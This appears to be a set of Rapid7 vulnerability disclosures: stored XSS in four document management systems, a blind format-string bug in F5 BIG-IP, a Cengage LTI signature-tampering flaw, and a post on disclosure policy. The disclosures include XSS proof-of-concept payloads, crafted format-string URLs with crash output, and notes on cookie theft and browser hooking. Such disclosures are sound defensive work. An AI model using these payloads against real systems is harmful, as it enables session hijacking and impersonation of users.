Category: Vulnerability Disclosure

Multiple DMS XSS (CVE-2022-47412 through CVE-20222-47419)

Through the course of routine security testing and analysis, Rapid7 has discovered several issues in on-premises installations of open source and freemium Document Management System (DMS) offerings from four vendors. While all of the discovered issues are instances of CWE-79: Improper Neutralization of Input During Web Page Generation, in this disclosure, we have ordered them from most severe to least.

The issues are summarized in the table below.

Vendor Product Version CVE Patched?
ONLYOFFICE Workspace 12.1.0.1760 CVE-2022-47412 Unpatched
OpenKM OpenKM 6.3.12 CVE-2022-47413 Unpatched
OpenKM OpenKM 6.3.12 CVE-2022-47414 Unpatched
LogicalDOC LogicalDOC CE/Enterprise 8.7.3/8.8.2 CVE-2022-47415 Unpatched
LogicalDOC LogicalDOC CE/Enterprise 8.7.3/8.8.2 CVE-2022-47416 Unpatched
LogicalDOC LogicalDOC CE/Enterprise 8.7.3/8.8.2 CVE-2022-47417 Unpatched
LogicalDOC LogicalDOC CE/Enterprise 8.7.3/8.8.2 CVE-2022-47418 Unpatched
Mayan Mayan EDMS 4.3.3 CVE-2022-47419 Unpatched

All of these issues were discovered by Rapid7 researcher Matthew Kienow, and validated by Rapid7's security sciences team. Unfortunately, none of these vendors were able to respond to Rapid7's disclosure outreach, despite having coordinated these disclosures with CERT/CC. As such, these issues are being disclosed in accordance with Rapid7's vulnerability disclosure policy. When we become aware of patches or vendor advisories, we will update this advisory with that information.

CVE-2022-47412: ONLYOFFICE Workspace Search Stored XSS

Given a malicious document provided by an attacker, the ONLYOFFICE Workspace DMS is vulnerable to a stored (persistent, or "Type II") cross-site scripting (XSS) condition.

Product Description

ONLYOFFICE Workspace is an AGPL licensed DMS, available as an on-prem or cloud-hosted collaboration platform. Read more about ONLYOFFICE at the vendor's website.

This vulnerability was identified in testing against ONLYOFFICE Workspace Version 12.1.0.1760. It is likely the vulnerability exists in previous versions of the software as well as the Enterprise offering. The test instance was installed using the Docker image and the instructions for installing ONLYOFFICE Workspace using the provided script.

CVE-2022-47412 Exploitation

The attack hinges on the ability of the attacker to get a document saved in the DMS for indexing. The details of how this might happen are going to vary significantly between sites, ranging from an email or web-based portal for submitting documents automatically to the target organization, to convincing a human operator to manually save the malicious document on behalf of the attacker, to an insider indexing their own document and waiting for another user to trigger the XSS condition.

Once indexed, the attacker then needs to wait for, or convince, a user to trigger the stored document via the search functionality provided by ONLYOFFICE Workspace. One technique to ensure success would be to create a document with several commonly searched-for terms, which will depend on the target organization's industry, commonly spoken language, and other factors.

Reproduction of the issue is straightforward:

  1. Upload or create a new document that contains the following two lines of text and tags:
One <img src/onerror=alert('XSS-doc-1')> two
Three <script>alert('XSS-doc-2')</script> four
  1. Select the document and open it with either the edit or preview option. For example, /Products/Files/DocEditor.aspx?fileid=11 is a typical path.
  2. Open the search panel by clicking the magnifying glass icon on the left side of the editor.
  3. Type one of the words on either side of the tag (one, two, three, or four) and it will cause the related XSS to execute in the user’s web browser.

Impact

Once an attacker has provided a malicious document, and a suitable victim has triggered the XSS condition, the attacker has several avenues for furthering their control over the target organization. A typical attack pattern would be to steal the session cookie that a locally-logged in administrator is authenticated with, and reuse that session cookie to impersonate that user to create a new privileged account.

A slightly more subtle and extensible attack would be to hook the victim's browser session and inject the attacker's own commands under the identity of the hooked user, using BeEF or similar post-exploitation tooling.

Once enabled, the attacker would have access to the stored documents, which may be critically important to the targeted organization.

Remediation

In the absence of an update from the vendor, users of the affected DMS should take care when importing documents from unknown or untrusted sources. Of course, many modern workflows depend on cataloging inbound documents, so this advice should be backed up with a robust document scanner that automatically searches for common XSS patterns embedded in documents. XSS filter evasion is a constantly evolving field, but a reasonable scanner should be able to at least pick out common XSS patterns.

Given the high severity of a stored XSS vulnerability in a document management system, especially one that is often part of automated workflows, administrators are urged to apply any vendor-supplied updates on an emergency basis.

Disclosure Timeline

  • October-November: Research project on DMS vulnerabilities initiated by Matthew Kienow
  • Thu, Dec 1, 2022: Initial notification to the vendor via guessed email addresses and support channels.
  • Fri, Dec 2, 2022: Support ticket #37150 suggests emailing security@onlyoffice.com
  • Mon, Dec 5, 2022: Provided details to the vendor
  • Fri, Dec 16, 2022: Details disclosed to CERT/CC via VINCE (VRF#22-12-LFBLV)
  • Tue, Feb 7, 2023: Public disclosure

CVE-2022-47413, CVE-2022-47414: OpenKM Document and Application XSS

Two XSS vulnerabilities were discovered in OpenKM, a popular DMS.

Given a malicious document provided by an attacker, the OpenKM DMS is vulnerable to a stored (persistent, or "Type II") XSS condition.

For the second issue, direct access to OpenKM is required in order for the attacker to craft a malicious "note" attached to a stored document.

Product Description

OpenKM is a GPL licensed DMS, available as an on-prem or cloud-hosted collaboration platform. Read more about OpenKM at the vendor's website.

These vulnerabilities were identified in testing against OpenKM Version 6.3.12 (build: a3587ce). It is likely the vulnerability exists in previous versions of the software. The tested instance was installed using the Docker image and the installation instructions.

CVE-2022-47413 Exploitation

The attack hinges on the ability of the attacker to get a document saved in the DMS for indexing. The details of how this might happen are going to vary significantly between sites, ranging from an email or web-based portal for submitting documents automatically to the target organization, to convincing a human operator to manually save the malicious document on behalf of the attacker, to an insider indexing their own document and waiting for another user to trigger the XSS condition.

Once indexed, the attacker then needs to wait for, or convince, a user to trigger the stored document via either direct navigation to the document, or the search functionality provided by OpenKM. One technique to ensure success would be to create a document with several commonly searched-for terms, which will depend on the target organization's industry, commonly spoken language, and other factors.

Reproduction of the issue is straightforward:

  1. Create a PDF and a text file that contains the following line of text and tag:
One <img src/onerror=alert('XSS-doc-1')> two
  1. Upload both documents
  2. A user that selects the text document will trigger the XSS to execute in their web browser. This does not require the Preview tab to be selected, and it will trigger when the default tab, Properties, is selected.
  3. The stored XSS in the document will also execute via a search
    a. Click the Search tab and check the “View advanced mode” checkbox
    b. On the Basic tab, change the Context drop-down to “My documents”
    c. In the Content field enter one of the words on either side of the tag (one or two)
    d. Click the Search button.
    e. The XSS will execute in the user’s web browser as long as the document was included in the displayed search results.

CVE-2022-47414 Exploitation

If an attacker has access to the console for OpenKM (and is authenticated), a stored XSS vulnerability is reachable in the document "note" functionality. Reproduction of the issue is below.

  1. Upload or navigate to a document in the system and click to select it.
  2. In the lower panel click the Notes tab and enter a tag such as <img src/onerror=alert('XSS-doc-note')> in the note field.
  3. Click the Add button
  4. A user that selects this document will trigger the XSS to execute in their web browser. This does not require the Notes tab to be selected, and it will trigger when the default tab, Properties, is selected.

Impact

Once a suitable victim has triggered one of the described XSS conditions, the attacker has several avenues for furthering their control over the target organization. A typical attack pattern would be to steal the session cookie a locally-logged in administrator is authenticated with, and reuse that session cookie to impersonate that user to create a new privileged account.

A slightly more subtle and extensible attack would be to hook the victim's browser session and inject the attacker's own commands under the identity of the hooked user, using BeEF or similar post-exploitation tooling.

Once enabled, the attacker would then have access to the stored documents, which may be critically important to the targeted organization.

Remediation

For the first issue, in the absence of an update from the vendor, users of the affected DMS should take care when importing documents from unknown or untrusted sources. Of course, many modern workflows depend on cataloging inbound documents, so this advice should be backed up with a robust document scanner that automatically searches for common XSS patterns embedded in documents. XSS filter evasion is a constantly evolving field, but a reasonable scanner should be able to at least pick out common XSS patterns.

For the second issue, in the absence of an update from the vendor, administrators should limit the creation of untrusted users for the affected DMS, since all users have access to the note creation system by default. Until a patch or updated is provided by the vendor, only known, trusted users of the DMS should be permitted to use the tagging features of the application.

Given the high severity of a stored XSS vulnerability in a document management system, especially one that is often part of automated workflows, administrators are urged to apply any vendor-supplied updates on an emergency basis.

Disclosure Timeline

  • October-November: Research project on DMS vulnerabilities initiated by Matthew Kienow
  • Thu, Dec 1, 2022: Initial notification to the vendor via guessed email addresses and support channels.
  • Fri, Dec 16, 2022: Details disclosed to CERT/CC via VINCE (VRF#22-12-PNWWF)
  • Tue, Feb 7, 2023: Public disclosure

CVE-2022-47415 through CVE-2022-47418: LogicalDOC Multiple Stored XSS

Four XSS vulnerabilities were discovered in the LogicalDOC DMS. Successful XSS exploitation was observed in the in-product messaging system, the chat system, stored document file name indexes, and stored document version comments.

Product Description

LogicalDOC Community Edition is an LGPL licensed document management system (DMS), available as an on-prem or cloud-hosted collaboration platform. Read more about LogicalDOC at the vendor's website.

These vulnerabilities were identified in testing against LogicalDOC Enterprise version 8.8.2 and Community version 8.7.3. It is likely the vulnerability exists in previous versions of the software. The instances tested were installed using the Docker images and the Community installation and Enterprise installation instructions.

Exploitation

The XSS issues identified in LogicalDOC each have their own unique vectors for attacker utility. All require some level of access to the DMS system itself, though "Guest" access is often sufficient to target administrators.

CVE-2022-47415 Exploitation

CVE-2022-47415 is a stored XSS in the in-app messaging system (both subject and bodies of the messages). Reproduction steps are detailed below.

  1. Click messages tab
  2. Click Send message button
  3. Enter one or more Recipients
  4. In the subject field enter a tag such as <img src/onerror=alert('XSS-msg-subject')>
  5. In the message body field enter a tag such as <img src/onerror=alert('XSS-msg-body')>
  6. Click the Send button
  7. If the message recipient is logged into LogicalDOC in the Chrome web browser a pop-up will appear notifying the user of the new message and the XSS will execute in their web browser. If the user was not logged in at the time the message was sent, or they are using the Firefox web browser the XSS will execute in their web browser when they navigate to the messages panel if the XSS was placed in the subject field. If the XSS was placed in the message body it will execute when they select the message.

Note that the "Guest" group is able to send messages to other users by default, including administrators. This would be the likely attack path for an otherwise untrusted, but technically authenticated, user.

CVE-2022-47416 Exploitation

CVE-2022-47416 is a stored XSS in the in-app chat system, and was observed in the Enterprise edition of the DMS. Reproduction steps are detailed below.

  1. Click Dashboard tab
  2. Click Chat tab
  3. In the message input box at the bottom of the bag enter a tag such as <img src/onerror=alert('XSS-chat-msg')>
  4. Click the Post button
  5. The XSS will execute in a user's web browser if the user is logged into LogicalDoc with the Chat tab selected. If the user was not logged in at the time the message was sent, the XSS will execute in their web browser when they navigate to the Chat tab.

Note that the "Guest" group is able to initiate chats to other users by default, including administrators. This would be the likely attack path for an otherwise untrusted, but technically authenticated, user.

CVE-2022-47417 Exploitation

CVE-2022-47417 is a stored XSS in the document file name, but the filename must be changed in-app (rather than being merely provided by the attacker through some other mechanism). Reproduction steps are detailed below.

  1. Click Documents tab
  2. Click Add documents button
  3. Select a PDF document to upload, check the “Immediate indexing” checkbox, click the Send button and then click the Save button
  4. Select the uploaded document in the upper panel
  5. In the lower panel locate the “File name” field and enter as tag such as <img src/onerror=alert('XSS-filename')>.pdf
  6. Click the Save button
  7. A dialog box will appear asking “The file extension has been changed. Do you want to proceed?”, click the Yes button

Once the file name is changed to include the malicious XSS payload, there are a number of conditions that trigger the XSS.

  1. The XSS will execute in a user’s web browser when they navigate to the Documents tab.
  2. The stored XSS will execute in another user’s web browser, such as the administrator, without them performing any actions as long as that user previously clicked the Documents tab before the adversarial user performed steps 1-7. The user does not need to remain on the Documents tab for the zero-click XSS to execute in their browser.
  3. The stored XSS in the document file name will also execute via a search
    a. Either using the search box in the upper right hand corner or the Search tab, enter a unique term that appears within the previously uploaded document and click the magnifying glass icon (search button).
    b. The XSS will execute in a user’s web browser as long as the document was included in the displayed search results.

CVE-2022-47418 Exploitation

CVE-2022-47418 is an XSS in document version comments. Reproduction steps are detailed below.

  1. Click Documents tab
  2. Click Add documents button
  3. Select a document and click the Send button
  4. In the input box for the “Version comment” at the bottom of the dialog box enter a value such as <img src/onerror=alert('XSS-version-comment')> and click the Save button.
  5. The stored XSS will execute in any user’s web browser if they select the document in the document panel and then click on either the Versions or History tabs.

Impact

Once a suitable victim has triggered one of the described XSS conditions, the attacker has several avenues for furthering their control over the target organization. A typical attack pattern would be to steal the session cookie a locally-logged in administrator is authenticated with, and reuse that session cookie to impersonate that user to create a new privileged account.

A slightly more subtle and extensible attack would be to hook the victim's browser session and inject the attacker's own commands under the identity of the hooked user, using BeEF or similar post-exploitation tooling.

Once enabled, the attacker would then have access to the stored documents, which may be critically important to the targeted organization.

Remediation

In the absence of an update from the vendor, administrators should limit the creation of anonymous, untrusted users for the affected DMS, since in many cases, the "Guest" access level is capable of launching these stored XSS attacks against more privileged users. Until a patch or updated is provided by the vendor, only known, trusted users of the DMS should be permitted to use the messaging, chat, document rename, and document version features of the application.

Given the high severity of a stored XSS vulnerability in a document management system, especially one that is often part of automated workflows, administrators are urged to apply any vendor-supplied updates on an emergency basis.

Disclosure Timeline

  • October-November: Research project on DMS vulnerabilities initiated by Matthew Kienow
  • Thu, Dec 1, 2022: Initial notification to the vendor via guessed email addresses and support channels. Ticket #11105 opened automatically.
  • Fri, Dec 16, 2022: Details disclosed to CERT/CC via VINCE (VRF#22-12-ZMXZP)
  • Mon, Dec 19, 2022: Details disclosed to OpenKM
  • Tue, Feb 7, 2023: Public disclosure

CVE-2022-47419: Mayan EDMS Tag XSS

An XSS vulnerability was discovered in the Mayan EDMS DMS. Successful XSS exploitation was observed in the in-product tagging system.

Product Description

Mayan EDMS Workspace is an Apache licensed DMS, available as an on-prem or cloud-hosted collaboration platform. Read more about Mayan EDMS at the vendor's website.

This vulnerability was identified in testing against Mayan EDMS Version 4.3.3 (Build number: v4.3.3_Tue Nov 15 18:12:36 2022 -0500). It is likely the vulnerability exists in previous versions of the software. Installed using the Docker image and the installation instructions.

CVE-2022-47419 Exploitation

CVE-2022-47419 is a stored XSS in the in-product tagging system. Reproduction steps are below.

  1. Click Tags and then the “Create new tag” link in the panel on the left. This will take you to the URL http://hostname/#/tags/tags/create/.
  2. In the Label field enter a tag such as <script>alert('XSS-tag-label')</script>
  3. Click the Save button
  4. Select Documents and then the “All documents” link in the panel on the left.
  5. Click a document to open the document preview
  6. Click the Tags link on the panel to the right.
  7. Click the “Attach tags” button
  8. Click in the Tags drop-down menu and the XSS will execute in the user’s web browser.

Impact

Once a suitable victim has triggered the described XSS condition, the attacker has several avenues for furthering their control over the target organization. A typical attack pattern would be to steal the session cookie a locally-logged in administrator is authenticated with, and reuse that session cookie to impersonate that user to create a new privileged account.

A slightly more subtle and extensible attack would be to hook the victim's browser session and inject the attacker's own commands under the identity of the hooked user, using BeEF or similar post-exploitation tooling.

Once enabled, the attacker would then have access to all stored documents, which may be critically important to the targeted organization.

Remediation

In the absence of an update from the vendor, administrators should limit the creation of anonymous, untrusted users for the affected DMS, since all users have access to the tagging system by default. Until a patch or updated is provided by the vendor, only known, trusted users of the DMS should be permitted to use the tagging features of the application.

Given the high severity of a stored XSS vulnerability in a document management system, especially one that is often part of automated workflows, administrators are urged to apply any vendor-supplied updates on an emergency basis.

Disclosure Timeline

  • October-November: Research project on DMS vulnerabilities initiated by Matthew Kienow
  • Thu, Dec 1, 2022: Initial notification to the vendor via guessed email addresses and support channels.
  • Fri, Dec 16, 2022: Details disclosed to CERT/CC via VINCE (VRF#22-12-WMFKG)
  • Tue, Feb 7, 2023: Public disclosure
CVE-2023-22374: F5 BIG-IP Format String Vulnerability

While following up our previous work on F5's BIG-IP devices, Rapid7 found an additional vulnerability in the appliance-mode REST interface; the vulnerability was assigned CVE-2023-22374. We reported it to F5 on December 6, 2022, and are now disclosing it in accordance with our vulnerability disclosure policy.
The specific issue we discovered is an authenticated format string vulnerability (CWE-134) in the SOAP interface (iControlPortal.cgi), which runs as root and requires an administrative login to access. By inserting format string specifiers (such as %s or %n) into certain GET parameters, an attacker can cause the service to read and write memory addresses that are referenced from the stack. In addition to being an authenticated administrative endpoint, the disclosed memory is written to a log (making it a blind attack). It is difficult to influence the specific addresses read and written, which makes this vulnerability very difficult to exploit (beyond crashing the service) in practice. This has a CVSS score of 7.5 for standard mode deployments and 8.5 in appliance mode.

Products

This issue affects BIG-IP only (not BIG-IQ), and as of writing are not yet patched. The currently supported versions known to be vulnerable are:

  • F5 BIG-IP 17.0.0
  • F5 BIG-IP 16.1.2.2 - 16.1.3
  • F5 BIG-IP 15.1.5.1 - 15.1.8
  • F5 BIG-IP 14.1.4.6 - 14.1.5
  • F5 BIG-IP 13.1.5

Discoverer

This issue was discovered by Ron Bowes of Rapid7. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

The issue we are disclosing is a blind format string vulnerability, where an authenticated attacker can insert arbitrary format string characters (such as %d, %x, %s, and %n) into a query parameter, which are passed into the function syslog(), which processes format-string specifiers. This does not require the attacker to actually read the syslog entries—it's the act of parsing the format string that is problematic. That also means that the attacker can't read the memory, unless they have an additional way to read the syslog. By using the %s specifier, the service can be trivially crashed with a segmentation fault (because it tries to dereference pointers on the stack as strings). Using %n, arbitrary data can be written to any pointer found on the stack—depending on what's present on the stack, this may be exploitable for remote code execution.

The issue occurs in WSDL= parameter in the following authenticated administrative URL:

The value of the WSDL= parameter is written to the syslog:

Nov 29 08:32:25 bigip.example.org soap[4335]: query: WSDL=ASM.LoggingProfile

If an attacker adds format-string characters to that argument, they will be processed and values from the stack can be written to the syslog (an attacker wouldn't be able to see this, so it's actually a blind format-string vulnerability). For example, this URL:

  • https://bigip.example.com/iControl/iControlPortal.cgi?WSDL=ASM.LoggingProfile:%08x:%08x:%08x:%08x:%08x:%08x:%08x:%08x

Might write the following, after expanding the %08x format specifiers to values from the stack (the colons are just for readability):

Nov 29 08:41:47 bigip.example.org soap[4335]: query: WSDL=ASM.LoggingProfile:0000004c:0000004c:08cb31bc:08cba210:08cc4954:01000000:ffeaa378:f5aa8000

Once again, we should note that an attacker cannot see this log, and therefore cannot use this to disclose memory. We can, however, use a %s format specifier to tell the service to try and render a string from the stack. If the value on the stack is not a valid memory address (such as the first value, which is 0x0000004c), the process will crash with a segmentation fault. We can also use the %n format specifier to write a (mostly) arbitrary value to a memory address found on the stack.

Here is an example of using the %s specifier in a request:

  • https://bigip.example.com/iControl/iControlPortal.cgi?WSDL=ASM.LoggingProfile:%s

If we send that to the server (as an authenticated request), the service will crash. We can attach a debugger to the server process to validate:

[root@bigip:Active:Standalone] config # /tmp/gdb-7.10.1-x64 -q --pid=4335[...](gdb) contContinuing.
Program received signal SIGSEGV, Segmentation fault.0xf55e3085 in vfprintf () from /lib/libc.so.6(gdb) bt#0  0xf55e3085 in vfprintf () from /lib/libc.so.6#1  0xf568f21f in __vsyslog_chk () from /lib/libc.so.6#2  0xf568f317 in syslog () from /lib/libc.so.6#3  0x0810cc1f in PortalDispatch::HandleWSDLRequest(char*) ()#4  0x08109f08 in iControlPortal::run(int) ()#5  0x0810947f in main ()

The actual vulnerable code in PortalDispatch::HandleWSDLRequest in iControlPortal.cgi is (in a disassembler):

.text:0810CBF2 loc_810CBF2:                            ; CODE XREF: PortalDispatch::HandleWSDLRequest(char *)+DD↑j.text:0810CBF2                 pop     ecx.text:0810CBF3                 pop     edi.text:0810CBF4                 push    esi             ; Query string.text:0810CBF5                 push    eax.text:0810CBF6                 call    __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::basic_ostream<char,std::char_traits<char>> &,char const*).text:0810CBFB                 pop     eax.text:0810CBFC                 pop     edx.text:0810CBFD                 lea     eax, [ebp+var_8C8].text:0810CC03                 lea     edi, [ebp+format].text:0810CC09                 push    eax.text:0810CC0A                 push    edi.text:0810CC0B                 call    __ZNKSt15basic_stringbufIcSt11char_traitsIcESaIcEE3strEv ; std::basic_stringbuf<char,std::char_traits<char>,std::allocator<char>>::str(void)
.text:0810CC0B ;   } // starts at 810CBE6.text:0810CC10                 pop     eax.text:0810CC11                 push    dword ptr [ebp+format].text:0810CC17                 push    6.text:0810CC19 ;   try {.text:0810CC19                 call    _syslog ; <--- Vulnerable call to syslog().text:0810CC19 ;   } // starts at 810CC19

A String object (that contains query:) has the query string appended to it, then is passed directly into _syslog(), which processes format string characters.

Impact

The most likely impact of a successful attack is to crash the server process. A skilled attacker could potentially develop a remote code execution exploit, which would run code on the F5 BIG-IP device as the root user.

Remediation

There is currently no fix for this issue in released BIG-IP software versions. F5 has indicated that an engineering hotfix will be made available. It should be stressed that this issue is only exploitable as an authenticated user of the vulnerable device. So, end users should restrict access to the management port to only trusted individuals (and the linked KB provides a procedure to bind webd to localhost) which is usually good advice anyway.

Rapid7 customers

An authenticated vulnerability check for CVE-2023-22374 will be available in today's (Feb 1) content-only release. Because F5's hotfix policy is that hotfixes come with "no warranty of guarantee of usability," please note that hotfixes are not taken into consideration for vulnerability checks within InsightVM.

Timeline

  • December, 2022 - Discovered the vulnerability
  • Tue, Dec 6, 2022 - Reported to F5 SIRT
  • Wed, Dec 7, 2022 - F5 forwarded to the F5 Product Engineering team for analysis
  • Thu, Dec 22, 2022 - F5 confirmed the issue and has started working on a fix
  • Wed, Jan 4, 2023 - Issue reported to CERT/CC (VRF#23-01-TVJZN)
  • Wed, Jan 18, 2023 - F5 provided a draft security advisory, CVSS scoring, and CVE-2023-22374 reservation
  • Wed, Feb 1, 2023 - This public disclosure and F5's advisory published
Refreshing Rapid7's Coordinated Vulnerability Disclosure Policy

As 2023 comes hurtling towards us like some kind of maniacal arctic train full of disturbingly realistic AI-generated people, I wanted to take a moment on the blog here to announce that we here at Rapid7, Inc. have refreshed our coordinated vulnerability disclosure (CVD) policy and philosophy. If you just want the precise details, you can head on over to the refreshed CVD page. Otherwise, read on if you want some more explanation of why we're updating our CVD policy.

A Cohesive Philosophy

Rapid7, as you might expect, is chock full of security researchers—part time, full time, hobbyists, and professionals alike—and so, we frequently come across software vulnerabilities that we'd like to see fixed. These bugs might exist in specialized environments, in the cloud, in the hands of end-users, or in enterprise data centers. The vulnerabilities themselves might be widely exploited in the wild or they might be hard to trigger. Sometimes, the vulnerability itself might be technically a violation of security principles, but the practical effect of its exploitation will be kind of "meh."

And on and on. It turns out, our old "one size fits all" style of CVD just wasn't cutting it, as we ran into more and more edge cases when it came to the kinds of vulnerabilities we learn about. Recognizing that, we thought it would be helpful to come up with some broad strokes of what we intend to accomplish and offer up what we expect to do in most cases. From there, we could enumerate all the edge cases we could think of (and have experienced) and document how those cases are different from the usual flow of vulnerability disclosure.

So, far starters, we put together this (fairly pithy) reasoning of why we participate in coordinated vulnerability disclosure in the first place:

  1. We believe in strengthening defense by democratizing access to attacker tooling and knowledge. One of Rapid7’s unique strengths is our deep knowledge of how attackers work. Our vulnerability research and Metasploit teams strive to make attacker capabilities, that would otherwise be used primarily by criminals, accessible to all.  This enables defenders to understand and prioritize critical vulnerabilities, develop detections and mitigations, and test security controls. Releasing public exploit code and novel research is core to our mission to close the security achievement gap.
  2. Public disclosure of vulnerabilities is a critical component of a healthy cybersecurity ecosystem. Rapid7 advocates for, and practices, timely public disclosure of vulnerabilities across both third-party products and our own systems and solutions. This includes vulnerabilities we independently discover in our customers’ tech stacks. Through transparent, open, and timely vulnerability disclosures, Rapid7 is able to assist  the entire internet in protecting and defending those assets and services critical to modern civilization.
  3. Organizations need timely information about risk in order to make educated choices about protecting their networks—especially during active attacks. Our vulnerability disclosure policy includes specific provisions for expediting public disclosure in cases where exploitation has been observed in the wild. Vendors often (understandably) act to protect their own businesses and reputations when there are security issues in their products that introduce risk into their downstream customers’ environments. When we know about exploitation in the wild, or when we believe that threat actors may be covertly weaponizing non-public vulnerabilities, our priority is to alert customers and the community so they may take action to protect their organizations.

The Basic CVD

Building from that, we've updated and articulated what is "normal" in vulnerability disclosure, in the form of a five-point guide to what everyone should expect from Rapid7. You can read the exact wording at https://www.rapid7.com/security/disclosure (it may change slightly over time), but to summarize, our basic, standard approach will be to:

  • Keep things confidential at first;
  • Reserve a CVE ID;
  • Tell CERT/CC after 15 days;
  • Publish about it after 60 days; and
  • Encourage the release of a fix

Rapid7 will also:

  • Offer extensions on disclosure timelines (within reason)
  • Publish if the software maintainer publishes, and
  • Not hold things up if there are duplicate reports

That all seems pretty normal in cybersecurity, and reflects industry standards as promulgated by the likes of ISO 29147 and ISO 30111. Internally, we've been calling this the "potato case," since it's the basis of all sorts of variations and permutations. And, like a potato—which you might dice, slice, pan-fry, bake, mash, pressure cook, season, gravy, butter, and on and on—we can take this base policy and tweak it just a little to get where we need to be for all the edge cases in CVD.

Edge Cases (edginess not guaranteed)

Okay, enough potato talk. Getting hungry.

Vulnerabilities cause unintended conditions and undefined behaviors, and so our CVD should anticipate curve-balls and weird circumstances. We break out six classes of vulnerabilities (and a meta-classification of "more than one") and slightly alter the standard case per circumstance:

  • Exploited in the Wild: When vulnerabilities are being actively exploited, time is of the essence so that defenders can ramp up and start defending, right now. It would be pretty irresponsible to sit on our hands for 60 days in this case, so expect a bulletin inside a couple of days instead of two months.
  • Patch Bypasses: If a patch doesn't do the job and a bypass is discovered, we will want to move a little faster, and also, make sure there's a new CVE ID to describe it. Recycling CVE IDs causes vulnerability management systems all kinds of headaches.
  • Cloud/Hosted Vulnerabilities: The cloud remains special, in that a fix to a SaaS product tends to mean that's the end of it, and there's sometimes little value in disclosure after the fact. However, it remains a possibility that there are some cases in which the learnings from a particular cloud vuln are worth talking about and raising awareness of (namely, for IOCs and logging artifacts to check to see if you've already been compromised).
  • Kinetic Vulnerabilities: These vulnerabilities are special since they have direct effect on life and limb; think of specialized medtech, vehicle safety systems, and the like. In these cases, we want to allow plenty of time for patches to get out there before we openly discuss all of the technical details.
  • Low-Impact Vulnerabilities: While every bug is sacred and special, some are, well, less special than others. In these cases, we wouldn't bother with coordinating with CERT/CC (they have plenty of work to do), and we may not even publicly disclose them at all (beyond the private disclosure to the responsible organization).
  • Vulnerabilities with No Responsible Organizations: Sometimes, there are bugs in systems that nobody maintains anymore—abandonware and the like. In these cases, we will move a little faster on disclosure, in coordination with CERT/CC, mainly because we're not waiting for a fix to be developed.
  • Multi-Faceted Vulnerabilities: If a bug checks more than one of the above boxes, a shorter timeline will apply. So, for example, if there's some abandoned software that's also being exploited right now, we'll publish in just a couple days, rather than a month and a half.

Right now, those are all the cases we can think of, and they hit every vulnerability disclosure I've been a part of at Rapid7 over the last decade. Every time we've strayed from our (old) policy, it was due to one or more of these conditions. I expect that going forward, the way we approach CVD will be much more predictable and comfortable for everyone involved. Well, except for the criminals and spies that are using these vulns for evil, sorry, not sorry.

Patches Accepted

If you have any thoughts or feedback on this policy, hit us up at cve@rapid7.com and we'd be happy to hear it. Or, toot at me and/or Caitlin directly on Mastodon. Do note that we'll be sticking to the much more precise language on our CVD page, since this blog post is *not* the greatest CVD in the world, it's just a tribute.

As always, If you have a vulnerability to report on something that Rapid7 is responsible for, check our security.txt for contact details.
Incidentally, do you have a security.txt file? Should you? They're easy and fun to write and publish—see RFC 9116 for the details there; publishing a note of where to contact you sure makes the job of hearing about vulnerabilities in your products and services a whole lot easier.

Cengage LTI Session Management Leakage

Prior to December 10, 2022, Cengage, an education technology provider in use in many higher education environments primarily in the United States, had two issues in the way it handled session management over its Learning Tools Integration (LTI) pipeline.

The first issue involves leaving unexpectedly long-lived sessions and accompanying login links in the end user's browser history as well as via cached GET requests, which could be used by unauthenticated attackers to impersonate the user. This appears to be an instance of CWE-525, "Use of Web Browser Cache Containing Sensitive Information." This issue is estimated to have a CVSSv3 score of 4.5 (Medium). A fix for this issue is expected in March of 2023.

The second issue involves a failure to check the LTI launch signature from connected applications, which could allow an authenticated attacker to impersonate another user. This appears to be an instance of CWE-347, "Improper Verification of Cryptographic Signature." This issue is estimated to have a CVSSv3 score of 6.5 (Medium). Note, this issue has been fixed by the vendor.

Product Description

Cengage is an education technology provider offering digital products including eTextbooks, homework tools and online learning platforms (such as WebAssign). Cengage's online learning platforms integrate with Learning Management Systems (LMS). For more information about Cengage's LMS integrations, please visit the vendor's website.

Credit

This issue was discovered by Tony Porterfield, Principal Cloud Solutions Architect at Rapid7, while observing a family member use the application as an end-user. It is being disclosed in accordance with Rapid7's vulnerability disclosure policy.

Exploitation

For the CWE-525 issue, it was observed that the "Cengage Single Sign-On" link was usable in the browser history, even though the user had already logged out of the application:

Cengage LTI Session Management Leakage

Clicking the circled link would log the user back in, and was active for at least an hour post-logout.

For the CWE-347 issue, it was observed that the signature check on an LTI launch request to https://gateway.cengage.com/rest/launchBasicLTI responds with a hidden form post containing the LTI parameters from https://gateway.cengage.com/launchBasicLTI/smartlink/basicLTILaunch.gwy as well as a field signatureVerified that is set to false if the signature is invalid. An end user could alter this response by setting signatureVerified to true, as shown below:

Cengage LTI Session Management Leakage

Once modified, the LTI session context would then be accepted by the server as authentic.

Impact

For the CWE-525 issue involving cached credentials, an attacker wishing to impersonate an authenticated user would either need to have access to the browser session of the targeted user, or access to network proxy logs which can cache these tokens (thus, implying a privileged position either locally or on the local network). Assuming this is the case, the attacker could go on to read and alter personal information involving the student. It appears possible to similarly hijack the sessions of instructors or administrators, but this hasn't been tested or confirmed directly.

For the CWE-347 issue involving signature verification, an authenticated attacker may be able to assume sessions belonging to other users, possibly including other students, instructors, and administrators.

Vendor Statement

Cengage is continuously implementing and refining measures aimed to protect the privacy and security of the customer information entrusted to us. We value the contributions of security researchers like you, as reviews like this help us strengthen our security posture. We use multiple tools and processes, including DAST, SAST, penetration testing and VDP to identify and address security defects in our software.

[The CWE-347 issue] was fixed on December 9, 2022. The second issue is currently in remediation, and we plan to launch a fix as soon as possible.

We continually update and regularly identify ways we can improve our products both to better the learning experience for students and instructors and to ensure information remains secure. If you have found something you would like to report, please submit at https://bugcrowd.com/cengage-vdp.

Remediation

In December of 2022, Cengage released an update to its webassign.net service to address the CWE-347 (signature verification) issue, and is developing a fix for the CWE-525 issue, which we expect to see in March of 2023. Since this is a SaaS-based/cloud-hosted solution, end users, implementers, and integrators should not need to do anything to update or patch locally to address the signature verification issue — the latest version of the LTI implementation will already be available. Beyond this fix, end users have nothing to do to ensure they're safe from impersonation, as they're reliant on the provider to properly verify signatures.

While the SSO issue is being developed, end users would be wise to completely sign out of the local computer when complete with whatever academic tasks they were performing, as this would prevent opportunistic attackers from using stored session tokens locally. This is generally good advice anyway, even after the CWE-525 issue is resolved.

